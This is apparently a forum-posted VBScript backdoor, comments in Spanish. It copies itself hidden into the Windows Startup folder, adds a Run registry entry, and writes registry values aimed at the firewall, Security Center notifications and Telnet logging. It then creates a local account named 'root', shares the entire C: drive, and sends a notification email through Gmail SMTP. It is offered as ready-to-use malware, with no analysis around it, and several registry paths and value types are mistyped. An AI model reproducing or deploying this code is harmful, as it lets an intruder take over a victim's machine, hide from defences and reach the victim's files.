' VB Script Document
Dim objshell,objscript,xsd,xsd2,erre,arc,tr
Set objshell = createobject("wscript.shell")
Set objscript = CreateObject("Scripting.FileSystemObject")
xsd = objshell.specialfolders("Startup")
erre = objscript.FileExists(xsd & "\DirecTx3D.vbs")
if erre = False Then
objscript.copyfile wscript.scriptfullname, xsd & "\DirecTx3D.vbs", true
Set arc = objscript.GetFile( xsd & "\DirecTx3D.vbs")
arc.Attributes = 3
End if
objshell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\CurrentVers ion\Run\DirecTx3D.vbs", xsd, "REG_SZ"
objshell.regwrite "HKLM\Software\Policies\Microsoft\WindowsFirewall\ StandardProfile\EnableFirewall",1,"REG_DWORD"
objshell.regwrite "HKLM\SOFTWARE\Microsoft\Security Center\FirewallDisableNotify",1,"REG_WORD"
objshell.regwrite "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc\Sta rt",4,"REG_WORD"
objshell.regwrite "HKLM\SOFTWARE\Microsoft\TelnetServer\1.0\EventLog gingEnabled",0,"REG_WORD"
objshell.Exec("cmd /c net user root lolll /add")
objshell.Exec("cmd /c net share Publico0=c:\")
set objcdo=createobject("cdo.message")
objcdo.subject="Prueba de envío"
objcdo.from="@gmail.com"
objcdo.to="@yahoo.es"
objcdo.textbody="Este es el texto del mail"
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 30
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "@gmail.com"
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = ""
objcdo.configuration.fields.item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = 1
objcdo.configuration.fields.update
objcdo.send
WScript.Quit
Marcadores